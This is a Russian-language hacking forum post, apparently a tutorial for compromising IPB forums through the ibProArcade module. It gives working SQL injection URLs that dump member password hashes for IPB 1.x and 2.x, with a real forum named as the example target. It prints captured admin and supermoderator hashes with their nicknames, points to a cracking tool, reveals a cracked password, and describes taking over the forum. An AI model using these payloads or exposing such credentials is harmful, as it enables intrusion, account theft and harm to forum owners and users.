Ломаем ibProArcade v2.5.x, получаем доступ к IPB форуму X.X
• 1) Поисковичком шарим в инете на наличие нашего объекта внимания
• 2) Браузером отсылаем такой запрос на его сайт
Если форум на движке ipb 1.x
Цитата | Quote
адресс/index.php?act=Arcade&cat=
-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,
0,0,0,0,0,0,0%20FROM%20ibf_members/*
-1%20UNION%20SELECT%200,0,password,id,name,0,0,0,0,0,0,
0,0,0,0,0,0,0%20FROM%20ibf_members/*
для IPB 2.x
Цитата | Quote
адресс/index.php?act=Arcade&cat=
-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,
0,0,0,0,0,0%20FROM%20ibf_members/*
-1%20UNION%20SELECT%200,0,legacy_password,id,name,0,0,0,0,0,0,0,
0,0,0,0,0,0%20FROM%20ibf_members/*
Примерчик:
http://www.opresident...0ibf_members/*
• 3) Получаем инфу о всякой "полезной лабуде", а вместе с инфой и все пароли пользователей в хэше...
Пример, всё из того же форума
Начало списка хэша, левый столбец
d224e41e79b73a53dcfa86101256c851 ----пароль админа Ник: Ciccio
99f4b99d10c4d7aa96a5cb18477c70a7 ---пароль СуперМодера Ник: BlackyB
• 4) Качаем эту прожку _http://www.insidepro....sswordspro.zip
• 5) Вбиваем в неё хэшь админа или супра (Из примера, он будет такой, Супра:
Code
99f4b99d10c4d7aa96a5cb18477c70a7
) • 6) Перебираем...
• 7) Получаем пароль СуперМодера (из примера)
Ник: Нам уже известен BlackyB
Пароль: 270774
• 8) Вводим эти данные, наслаждаймся от части своим форумом...для полного прихватизирования, Вам надо расшифровать пасс админа, а мне было в лом это делать
